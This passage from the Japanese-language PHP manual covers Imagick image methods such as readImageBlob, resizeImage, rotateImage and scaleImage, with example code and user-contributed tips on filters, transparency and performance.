        // Create Objects
        // ------------------------------

    $imagick_type_bad = new Imagick();
    $imagick_type_good = new Imagick();

        // Grab Data - BAD METHOD
        // ------------------------------

    $imagick_type_bad->readImage($image_file_location);

        // Grab Data - GOOD METHOD
        // ------------------------------

    $file_handle_for_viewing_image = fopen($image_file_location, 'a+');

    $imagick_type_good->readImageFile($file_handle_for_viewing_image);

    fclose($file_handle_for_viewing_image);

        // Save File - BAD DATA
        // ------------------------------

    $file_handle_for_saving_bad_bmp = fopen("test_result_bad.bmp", 'a+');

    $imagick_type_bad_bmp = clone $imagick_type_bad;
    $imagick_type_bad_bmp->setImageFormat("bmp");
    $imagick_type_bad_bmp->setFormat("bmp");
    $imagick_type_bad_bmp->writeImageFile($file_handle_for_saving_bad_bmp);

    fclose($file_handle_for_saving_bad_bmp);

    $file_handle_for_saving_bad_png = fopen("test_result_bad.png", 'a+');

    $imagick_type_bad_png = clone $imagick_type_bad;
    $imagick_type_bad_png->setImageFormat("png");
    $imagick_type_bad_png->setFormat("png");
    $imagick_type_bad_png->writeImageFile($file_handle_for_saving_bad_png);

    fclose($file_handle_for_saving_bad_png);

        // Save File - Good DATA
        // ------------------------------

    $file_handle_for_saving_good_bmp = fopen("test_result_good.bmp", 'a+');

    $imagick_type_good_bmp = clone $imagick_type_good;
    $imagick_type_good_bmp->setImageFormat("bmp");
    $imagick_type_good_bmp->setFormat("bmp");
    $imagick_type_good_bmp->writeImageFile($file_handle_for_saving_good_bmp);

    fclose($file_handle_for_saving_good_bmp);

    $file_handle_for_saving_good_png = fopen("test_result_good.png", 'a+');

    $imagick_type_good_png = clone $imagick_type_good;
    $imagick_type_good_png->setImageFormat("png");
    $imagick_type_good_png->setFormat("png");
    $imagick_type_good_png->writeImageFile($file_handle_for_saving_good_png);

    fclose($file_handle_for_saving_good_png);

?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:43
Use this to convert all pages of a PDF to JPG:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
$imagick->writeImages('converted.jpg', false);
?>

If you need better quality, try adding $imagick->setResolution(150, 150); before reading the file!

If you experience transparency problems when converting PDF to JPEG (black background), try flattening your file:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf[0]');
$imagick = $imagick->flattenImages();
$imagick->writeFile('pageone.jpg');
?>

In order to read pages from a PDF-file use [PAGENUMBER] after the filename (pages start from zero!).

Example: Read page #1 from test.pdf

<?php
$imagick = new Imagick();
$imagick->readImage('test.pdf[0]');
$imagick->writeImage('page_one.jpg');
?>


バイナリ文字列から画像を読み込む

  • ≪ Imagick::readImage
  • Imagick::readImageFile ≫
  • PHP Manual
  • Imagick
  • バイナリ文字列から画像を読み込む

Imagick::readImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::readImageBlob — バイナリ文字列から画像を読み込む

説明

public Imagick::readImageBlob ( string $image , string $filename = ? ) : bool

バイナリ文字列から画像を読み込みます。

パラメータ

image

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::readImageBlob()

<?php
function readImageBlob() {
    $base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAAD
 NCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5c
 cllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEK
 gCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ
 0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGho
 aGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6x
 v3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0
 NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhD
 Q0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQ
 AAAAAElFTkSuQmCC";

    $imageBlob = base64_decode($base64);

    $imagick = new Imagick();
    $imagick->readImageBlob($imageBlob);

    header("Content-Type: image/png");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オープンしているファイルハンドルから画像を読み込む

  • ≪ Imagick::readImageBlob
  • Imagick::readimages ≫
  • PHP Manual
  • Imagick
  • オープンしているファイルハンドルから画像を読み込む

Imagick::readImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::readImageFile — オープンしているファイルハンドルから画像を読み込む

説明

public Imagick::readImageFile ( resource $filehandle , string $fileName = null ) : bool

オープンしているファイルハンドルから画像を読み込みます。

パラメータ

filehandle

fileName

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

quickshiftin at gmail dot com 20-Nov-2014 07:15
The second parameter will update the result of getFilename() if set. Otherwise the result of getFilename() will retain its original value, prior to calling readImageFile().
ben dot james at acknowledgement dot co dot uk 26-Dec-2008 01:00
An example of reading an image file from a URL, using a handle returned by fopen():

<?php
$handle = fopen('http://example.com/foo.jpg', 'rb');
$img = new Imagick();
$img->readImageFile($handle);
$img->resizeImage(128, 128, 0, 0);
$img->writeImage('images/foo.jpg');
?>


Description

  • ≪ Imagick::readImageFile
  • Imagick::recolorImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::readimages

(PECL imagick 2, PECL imagick 3)

Imagick::readimages — Description

説明

public Imagick::readImages ( array $filenames ) : bool

Reads image from an array of filenames. All the images are held in a single Imagick object.

パラメータ

filenames

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の色を変更する

  • ≪ Imagick::readimages
  • Imagick::reduceNoiseImage ≫
  • PHP Manual
  • Imagick
  • 画像の色を変更する

Imagick::recolorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::recolorImage — 画像の色を変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::recolorImage ( array $matrix ) : bool

画像の色を変換します。 このメソッドは可変サイズの行列に対応していますが、通常は RGBA なら 5x5、 CMYK なら 6x6 の行列を使います。最後の行は、正規化した値でなければなりません。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

matrix

色の値を含む行列。

返り値

成功した場合に true を返します。

参考

  • Imagick::displayImage() - 画像を表示する

例

例1 Imagick::recolorImage()

<?php
function recolorImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $remapColor = [ 1, 0, 0,
        0, 0, 1,
        0, 1, 0,];

//$remapColor = [
//    1.438, -0.122, -0.016,  0, 0, -0.03,
//    -0.062,  1.378, -0.016,  0, 0,  0.05,
//    -0.062, -0.122, 1.483,   0, 0, -0.02,
//];

    @$imagick->recolorImage($remapColor);

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

softmixt at gmail dot com 02-May-2013 11:59
Simple example :

<?php

$image = new Imagick('test.jpg');

$CMYK_color_model = array(0,100,0,0);

$image->recolorImage($CMYK_color_model) ;

header('Content-type: image/jpg');

echo $image
?>


画像の輪郭をなめらかにする

  • ≪ Imagick::recolorImage
  • Imagick::remapImage ≫
  • PHP Manual
  • Imagick
  • 画像の輪郭をなめらかにする

Imagick::reduceNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::reduceNoiseImage — 画像の輪郭をなめらかにする

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::reduceNoiseImage ( float $radius ) : bool

画像の輪郭をなめらかにします。縁の情報は保持します。 各ピクセルの内容を近傍の一番近い値で置き換えるというアルゴリズムです。 近傍は半径で定義します。radius に 0 を指定すると、 Imagick::reduceNoiseImage() が適切な半径を自動的に設定します。

パラメータ

radius

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::reduceNoiseImage()

<?php
function reduceNoiseImage($imagePath, $reduceNoise) {
    $imagick = new \Imagick(realpath($imagePath));
    @$imagick->reduceNoiseImage($reduceNoise);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の色を再配置する

  • ≪ Imagick::reduceNoiseImage
  • Imagick::removeImage ≫
  • PHP Manual
  • Imagick
  • 画像の色を再配置する

Imagick::remapImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::remapImage — 画像の色を再配置する

説明

public Imagick::remapImage ( Imagick $replacement , int $DITHER ) : bool

画像の色を、replacement で定義したものに置き換えます。 色の変換は、もっとも近い色で行われます。このメソッドは、ImageMagick バージョン 6.4.5 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

replacement

置き換える色を含む Imagick オブジェクト。

DITHER

ディザメソッド定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像リストから画像を削除する

  • ≪ Imagick::remapImage
  • Imagick::removeImageProfile ≫
  • PHP Manual
  • Imagick
  • 画像リストから画像を削除する

Imagick::removeImage

(PECL imagick 2, PECL imagick 3)

Imagick::removeImage — 画像リストから画像を削除する

説明

public Imagick::removeImage ( ) : bool

画像リストから画像を削除します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した名前の画像プロファイルを削除してそれを返す

  • ≪ Imagick::removeImage
  • Imagick::render ≫
  • PHP Manual
  • Imagick
  • 指定した名前の画像プロファイルを削除してそれを返す

Imagick::removeImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::removeImageProfile — 指定した名前の画像プロファイルを削除してそれを返す

説明

public Imagick::removeImageProfile ( string $name ) : string

指定した名前の画像プロファイルを削除してそれを返します。

パラメータ

name

返り値

画像のプロファイル名を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


それまでのすべての描画コマンドをレンダリングする

  • ≪ Imagick::removeImageProfile
  • Imagick::resampleImage ≫
  • PHP Manual
  • Imagick
  • それまでのすべての描画コマンドをレンダリングする

Imagick::render

(PECL imagick 2, PECL imagick 3)

Imagick::render — それまでのすべての描画コマンドをレンダリングする

説明

public Imagick::render ( ) : bool

それまでのすべての描画コマンドをレンダリングします。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像を指定した解像度にリサンプリングする

  • ≪ Imagick::render
  • Imagick::resetImagePage ≫
  • PHP Manual
  • Imagick
  • 画像を指定した解像度にリサンプリングする

Imagick::resampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::resampleImage — 画像を指定した解像度にリサンプリングする

説明

public Imagick::resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur ) : bool

画像を指定した解像度にリサンプリングします。

パラメータ

x_resolution

y_resolution

filter

blur

返り値

成功した場合に true を返します。

例

例1 Imagick::resampleImage()

<?php
function resampleImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));

    $imagick->resampleImage(200, 200, \Imagick::FILTER_LANCZOS, 1);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simon 01-Dec-2015 12:13
Please not that I had extremely high CPU usage using this function on Ubuntu linux 15.10. Switching to the resizeImage function fixed the problem.
bleighty at dvidshub dot net 22-Nov-2013 02:53
Please note that blur of 1 should not affect the image if I'm understanding correctly from this page:
http://www.php.net/manual/en/imagick.resizeimage.php
anagai at yahoo dot com 02-Dec-2011 12:14
Lets say you want to reduce the resolution of uploaded images for the web.

The following will load a image at whatever resolution and resample it down to 72 dpi and save as a different file.

The dpi for setImageResolution() and resampleImage() should be whatever dpi your resampling too.

<?php
$image = new Imagick();
$image->readImage('image.jpg');
$image->setImageResolution(72,72);
$image->resampleImage(72,72,imagick::FILTER_UNDEFINED,0);
$image->writeImage('image72.jpg');
?>


画像のページをリセットする

  • ≪ Imagick::resampleImage
  • Imagick::resizeImage ≫
  • PHP Manual
  • Imagick
  • 画像のページをリセットする

Imagick::resetImagePage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::resetImagePage — 画像のページをリセットする

説明

public Imagick::resetImagePage ( string $page ) : bool

ページの定義は文字列で、書式は WxH+x+y となります。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

page

ページ定義。たとえば 7168x5147+0+0 のようになります。

返り値

成功した場合に true を返します。

User Contributed Notes

Roman T. 16-Oct-2012 05:45
This function seems to do the same thing as photoshop feture convas size, you set size of convas and position of your image's top left corner (x,y) inside that convas.


画像のサイズを変更する

  • ≪ Imagick::resetImagePage
  • Imagick::rollImage ≫
  • PHP Manual
  • Imagick
  • 画像のサイズを変更する

Imagick::resizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::resizeImage — 画像のサイズを変更する

説明

public Imagick::resizeImage ( int $columns , int $rows , int $filter , float $blur , bool $bestfit = false , bool $legacy = false ) : bool

指定した大きさと フィルタ で、画像のサイズを変更します。

注意: パラメータ bestfit の挙動は Imagick 3.0.0 で変わりました。 これより前のバージョンでは、200x150 の画像に対して 400x400 を指定した場合は何もせずそのままになっていました。 Imagick 3.0.0 以降では、この画像は 400x300 に拡大されます。これが、 指定したサイズに対して「ベストフィット」する大きさだからです。 bestfit を使う場合は、幅と高さの両方を指定しなければなりません。

パラメータ

columns

画像の幅。

rows

画像の高さ。

filter

フィルタ定数 の一覧を参照ください。

blur

blur 要素。> 1 はぼやけた状態、< 1 はシャープな状態を表します。

bestfit

オプションの fit パラメータ。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | オプションのパラメータ fit が追加され、 このメソッドは、比例形式の拡大・縮小をサポートするようになりました。 どちらかのパラメータにゼロを渡すと比例形式の拡大・縮小を行います。

例

例1 Imagick::resizeImage()

<?php
function resizeImage($imagePath, $width, $height, $filterType, $blur, $bestFit, $cropZoom) {
    // blur 要素。1 > はぼやけた状態、< 1 はシャープな状態を表します。
    $imagick = new \Imagick(realpath($imagePath));

    $imagick->resizeImage($width, $height, $filterType, $blur, $bestFit);

    $cropWidth = $imagick->getImageWidth();
    $cropHeight = $imagick->getImageHeight();

    if ($cropZoom) {
        $newWidth = $cropWidth / 2;
        $newHeight = $cropHeight / 2;

        $imagick->cropimage(
            $newWidth,
            $newHeight,
            ($cropWidth - $newWidth) / 2,
            ($cropHeight - $newHeight) / 2
        );

        $imagick->scaleimage(
            $imagick->getImageWidth() * 4,
            $imagick->getImageHeight() * 4
        );
    }

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

phper at krzysiu dot net 02-Jun-2016 12:41
Some size, image and filter and blur combinations causes artifacts or even make image completely scrambled. As far, as I see, it happens with blur values smaller than 0.25 (sometimes less) and goes worse to the point of 0 - black image. Sometimes only some values gives artifacts, like Hanning with my test image: 0.0 blur is fine, 0.1 produces artefacts.

Affected filters are e.g. Catrom, sinc, cubic, quadratic, while unaffected are e.g. Lanczos and Hanning. The problem seems to be the domain of the filter algorithms, not IMagick implementation. This image shows three filters: http://i.imgur.com/HcdwoUS.jpg

Sometimes test image could look fine, but other not, so if you are using affected filters, the 0.5 value should be safe.

This test script takes example image (you can download and use http://i.imgur.com/KsTJpFr.jpg which is affected) and creates resized images in the same directory for every filter and one of four blur values, with naming like "test.jpg.sinc.0.1.jpg" for "test.jpg" input.

<?php
    $imgPath = 'imgtest/test.jpg'; // set your image file
    $testBlurs = [0, 0.1, 0.2, 0.5]; // test these blur values
    $im = new IMagick();
    $im->readImage($imgPath);

    foreach ((new ReflectionClass('IMagick'))->getConstants() as $n => $f) {
        if (strncmp($n, 'FILTER_', 7) === 0) { // get available IMagick filters
            $filterName = strtolower(substr($n, 7)); // extract filter name from constant
            foreach ($testBlurs as $blur) {
                $imSize = clone $im;
                $imSize->resizeImage(500, 500, $f, $blur, true);
                $imSize->writeImage(sprintf("%s-%s-%.1f.jpg", $imgPath, $filterName, $blur));
                $imSize->destroy();
            }
        }
    }

?>
Spitfires 04-Mar-2012 09:39
To avoid upscaling when using the "bestfit" param, check the image dimensions before resizing:

<?php
    $image = new Imagick( $filename );
    $imageprops = $image->getImageGeometry();
    if ($imageprops['width'] <= 200 && $imageprops['height'] <= 200) {
        // don't upscale
    } else {
        $image->resizeImage(200,200, imagick::FILTER_LANCZOS, 0.9, true);
    }
?>
Spitfires 04-Mar-2012 09:27
The changelog comment

  "2.1.0 Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling."

is poorly structured and therefore IMO misleading.  Yes for proportional scaling you pass 0 as either parameter... however this is *not* true if you use the optional fit param.  When bestfit == true you must specify a *non-zero* value for both columns and rows.  Note it WILL still scale proportionally e.g.

   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)

will resize a 1000x750 image to 200x150

So for proportional resizing:
without "bestfit"
   Imagick::resizeImage ( 200, 0,  imagick::FILTER_LANCZOS, 1)

with "bestfit"
   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)
jdhawk at gmail dot com 15-Apr-2011 10:37
In our linux environment, using resizeImage with any filter produced extremely high CPU Utilization (in the range of 40-50%) while doing batch resizing.

We switched to scaleImage, which produces similar results to FILTER_BOX, and CPU Utilization dropped to 2-3%.

Using XHProf to profile the two batch jobs showed amazing decreases in CPU Time, so if you're doing a lot of picture resizing, it might be beneficial to use scaleImage instead of resizeImage, as it seems to be much much more efficient.
michael dot heca at gmail dot com 16-Nov-2009 05:18
Use setImageOpacity(1.0) before resizing, for proper handling of transparency in png and gif.
dennis at gofolo dot com 08-Nov-2009 06:32
Having to do alot of resizing, i needed to know the speeds of the different resize filters.
This was how long it took to resize a 5906x5906 JPEG image to 1181x1181.

FILTER_POINT took: 0.334532976151 seconds
FILTER_BOX took: 0.777871131897 seconds
FILTER_TRIANGLE took: 1.3695909977 seconds
FILTER_HERMITE took: 1.35866093636 seconds
FILTER_HANNING took: 4.88722896576 seconds
FILTER_HAMMING took: 4.88665103912 seconds
FILTER_BLACKMAN took: 4.89026689529 seconds
FILTER_GAUSSIAN took: 1.93553304672 seconds
FILTER_QUADRATIC took: 1.93322920799 seconds
FILTER_CUBIC took: 2.58396601677 seconds
FILTER_CATROM took: 2.58508896828 seconds
FILTER_MITCHELL took: 2.58368492126 seconds
FILTER_LANCZOS took: 3.74232912064 seconds
FILTER_BESSEL took: 4.03305602074 seconds
FILTER_SINC took: 4.90098690987 seconds

I ended up choosing CATROM as it has a very similar result to LANCZOS, but is significantly faster.
andrabr at gmail dot com 24-Aug-2007 04:08
blur:  > 1 is blurry, < 1 is sharp

To create a nice thumbnail (LANCZOS is the slowest filter):

<?php

$thumb = new Imagick();
$thumb->readImage('myimage.gif');    $thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');
$thumb->clear();
$thumb->destroy();

?>

Or, a shorter version of the same:

<?php

$thumb = new Imagick('myimage.gif');

$thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');

$thumb->destroy();

?>


画像を補正する

  • ≪ Imagick::resizeImage
  • Imagick::rotateImage ≫
  • PHP Manual
  • Imagick
  • 画像を補正する

Imagick::rollImage

(PECL imagick 2, PECL imagick 3)

Imagick::rollImage — 画像を補正する

説明

public Imagick::rollImage ( int $x , int $y ) : bool

x および y を指定して画像を補正します。

パラメータ

x

X オフセット。

y

Y オフセット。

返り値

成功した場合に true を返します。

例

例1 Imagick::rollImage()

<?php
function rollImage($imagePath, $rollX, $rollY) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->rollimage($rollX, $rollY);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 02:12
This function will make the image wrap around from bottom to top or side to side, hence "roll". If you want to just offset an image without the wrap-around, use Imagick::extentImage instead.


画像を回転する

  • ≪ Imagick::rollImage
  • Imagick::rotationalBlurImage ≫
  • PHP Manual
  • Imagick
  • 画像を回転する

Imagick::rotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::rotateImage — 画像を回転する

説明

public Imagick::rotateImage ( mixed $background , float $degrees ) : bool

指定した角度だけ画像を回転させます。回転によって生じる空き領域は、 背景色で埋められます。

パラメータ

background

背景色。

degrees

画像を回転させる度数。時計回りに数えます。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::rotateImage()

<?php
function rotateImage($imagePath, $angle, $color) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->rotateimage($color, $angle);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

gleb dot deykalo at gmail dot com 10-Jun-2016 12:59
Some transformations including Imagick ::rotateImage() may change "image page" -- working area inside the image you work on.

Be careful with future modifications afterwards because the image page would be different from new sizes of the image.

For example, if you do Imagic::cropImage() after rotation, you need to set image page properly, otherwise your crop would be performed relating to wrong coordinates (depending on rotation angle, resulting image size may vary).

<?php
$Image = new Imagick($sourceImagePath);

$transparent = '#00000000';
$Image->rotateImage(new \ImagickPixel(), 45); // This makes resulting image bigger

// Set page to be of the full size of new image, starting at top left corner (0, 0)
$Image->setImagePage($Image->getImageWidth(), $Image->getImageHeight(), 0, 0);

$Image->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
?>
Anonymous 17-Apr-2016 10:43
The degrees for imagick and gd is difference!
GD > rotate 90 means counter clockwise.
Imagick > rotate 90 means clockwise.

GD 90 = Imagick 270 or Imagick 90 = GD 270.

Use this function.

<?php
function calculateCounterClockwise($value)
{
    if ($value == 0 || $value == 180) {
        return $value;
    }
    if ($value < 0 || $value > 360) {
        $value = 90;
    }

    $total_degree = 360;
    $output = intval($total_degree-$value);
    return $output;
}// calculateCounterClockwise

echo '1 = '.calculateCounterClockwise(1).'<br>';
echo '90 = '.calculateCounterClockwise(90).'<br>';
echo '270 = '.calculateCounterClockwise(270).'<br>';
echo '359 = '.calculateCounterClockwise(359).'<br>';
echo '360 = '.calculateCounterClockwise(360).'<br>';
?>

test results:
1 = 359
90 = 270
270 = 90
359 = 1
360 = 0
AlexG 01-Oct-2012 03:56
Transparent

<?php $im->rotateImage(new ImagickPixel('#00000000'), 75); ?>
Baptiste VALTHIER 29-Mar-2011 01:05
You can rotate an jpg image by -13.55° into a transparent png image with :

<?php
$imagick = new Imagick();
$imagick->readImage('my.jpg');
$imagick->rotateImage(new ImagickPixel('none'), -13.55);
$imagick->writeImage('my_rotated.png');
$imagick->clear();
$imagick->destroy();
?>
wjsams at gmail dot com 22-Nov-2008 09:49
If you want to rotate an image by a certain degree you can do this:

<?php
header('content-type: image/jpeg');
$imagick = new Imagick();
$imagick->readImage('castle.jpg');
$imagick->rotateImage(new ImagickPixel(), 90);
print $imagick->getImage();
?>


Description

  • ≪ Imagick::rotateImage
  • Imagick::roundCorners ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::rotationalBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::rotationalBlurImage — Description

説明

public Imagick::rotationalBlurImage ( float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Rotational blurs an image.

パラメータ

angle

The angle to apply the blur over.

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::rotationalBlurImage()

<?php
function rotationalBlurImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->rotationalBlurImage(3);
    $imagick->rotationalBlurImage(5);
    $imagick->rotationalBlurImage(7);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の角を丸める

  • ≪ Imagick::rotationalBlurImage
  • Imagick::sampleImage ≫
  • PHP Manual
  • Imagick
  • 画像の角を丸める

Imagick::roundCorners

(PECL imagick 2, PECL imagick 3)

Imagick::roundCorners — 画像の角を丸める

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::roundCorners ( float $x_rounding , float $y_rounding , float $stroke_width = 10 , float $displace = 5 , float $size_correction = -6 ) : bool

画像の角を丸めます。 最初の 2 つのパラメータで丸める程度を制御し、 のこりの 3 つのパラメータで丸め処理をより細やかにチューニングします。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

x_rounding

x 方向の丸め。

y_rounding

y 方向の丸め。

stroke_width

線幅。

displace

image displace

size_correction

サイズ補正。

例

例1 Imagick::roundCorners() の使用法

画像の角を丸めます。

<?php

$image = new Imagick();
$image->newPseudoImage(100, 100, "magick:rose");
$image->setImageFormat("png");

$image->roundCorners(5,3);
$image->writeImage("rounded.png");
?>

返り値

成功した場合に true を返します。

User Contributed Notes

ar2rsoft at gmail dot com 26-Aug-2019 10:05
Alternative solution:
// example values
$width = 250;
$height = 250;
$cornerRadius = 10;

// create mask image
$mask = new Imagick();
$mask->newImage($width, $height, new ImagickPixel('transparent'), 'png');
// create the rounded rectangle
$shape = new ImagickDraw();
$shape->setFillColor(new ImagickPixel('black'));
$shape->roundRectangle(0, 0, $width, $height, $cornerRadius, $cornerRadius);
// draw the rectangle
$mask->drawImage($shape);
// apply mask
$image->compositeImage($mask, Imagick::COMPOSITE_DSTIN, 0, 0);

I found solution here:
https://github.com/Imagick/imagick/issues/213#issuecomment-385928740
mmehdibalouchi at gmail dot com 11-Oct-2017 11:50
Is this method deprecated?
what can we do instead ?


ピクセルのサンプリングによって画像の倍率を変更する

  • ≪ Imagick::roundCorners
  • Imagick::scaleImage ≫
  • PHP Manual
  • Imagick
  • ピクセルのサンプリングによって画像の倍率を変更する

Imagick::sampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::sampleImage — ピクセルのサンプリングによって画像の倍率を変更する

説明

public Imagick::sampleImage ( int $columns , int $rows ) : bool

ピクセルのサンプリングによって、指定した大きさに画像の倍率を変更します。 他の拡大・縮小メソッドとは異なり、 このメソッドは変更後の画像に新たな色を追加したりしません。

パラメータ

columns

rows

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像のサイズを変更する

  • ≪ Imagick::sampleImage
  • Imagick::segmentImage ≫
  • PHP Manual
  • Imagick
  • 画像のサイズを変更する

Imagick::scaleImage

(PECL imagick 2, PECL imagick 3)

Imagick::scaleImage — 画像のサイズを変更する

説明

public Imagick::scaleImage ( int $cols , int $rows , bool $bestfit = false , bool $legacy = false ) : bool

画像のサイズを指定した大きさに変更します。 パラメータに 0 を指定すると、そのパラメータを自動的に計算します。

注意: パラメータ bestfit の挙動は Imagick 3.0.0 で変わりました。 これより前のバージョンでは、200x150 の画像に対して 400x400 を指定した場合は何もせずそのままになっていました。 Imagick 3.0.0 以降では、この画像は 400x300 に拡大されます。これが、 指定したサイズに対して「ベストフィット」する大きさだからです。 bestfit を使う場合は、幅と高さの両方を指定しなければなりません。

パラメータ

cols

rows

bestfit

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | オプションのパラメータ fit が追加され、 このメソッドは、比例形式の拡大・縮小をサポートするようになりました。 どちらかのパラメータにゼロを渡すと比例形式の拡大・縮小を行います。

例

例1 Imagick::scaleImage()

<?php
function scaleImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->scaleImage(150, 150, true);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

agamemnus at flyingsoft dot pw 15-Mar-2014 03:34
Warning: this will blur your edges in possibly unexpected ways. For better control, use resizeImage, instead.
clickconvert at gmail dot com 08-Nov-2012 09:50
Need to resize portrait and landscape images (and convert to 72ppi)? These will fit an area of 800x600 without distorting, no matter how tall or wide.

<?php
    $img = new Imagick($img_loc.$file);
    $img->setImageResolution(72,72);
    $img->resampleImage(72,72,imagick::FILTER_UNDEFINED,1);
    $img->scaleImage(800,0);
    $d = $img->getImageGeometry();
    $h = $d['height'];
    if($h > 600) {
    $img->scaleImage(0,600);
    $img->writeImage($resized_loc.$file);
    } else {
    $img->writeImage($resized_loc.$file);
    }
    $img->destroy();
?>
peter at icb dot at 22-Sep-2009 05:25
If using the fit-parameter this function sometimes seems not to work when one of the two sizes (width or height) is the same size as the image has. For example:

<?php
$image = new Imagick('800x480.jpg');
$image->scaleImage(640, 480, true);

// $image is still 800x480
?>

You have to calculate the new sizes yourself and use false for $fit in this case.
octave at web dot de 23-Jul-2009 02:57
When using the "fit = true" option, the image will only scale down, but never scale up:

<?php
$im = new Imagick('1600x1200.jpg');

$im->scaleImage(2000, 1500, true); // => 1600x1200

$im->scaleImage(1000, 500, true); // => 666x500
?>
benford at bluhelix dot com 16-Jun-2009 08:38
If anyone finds "The other parameter will be calculated if 0 is passed as either param. " to be a bit confusing, it means approximately this:

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(300, 0);
?>

This scales the image such that it is now 300 pixels wide, and automatically calculates the height to keep the image at the same aspect ratio.

<?php
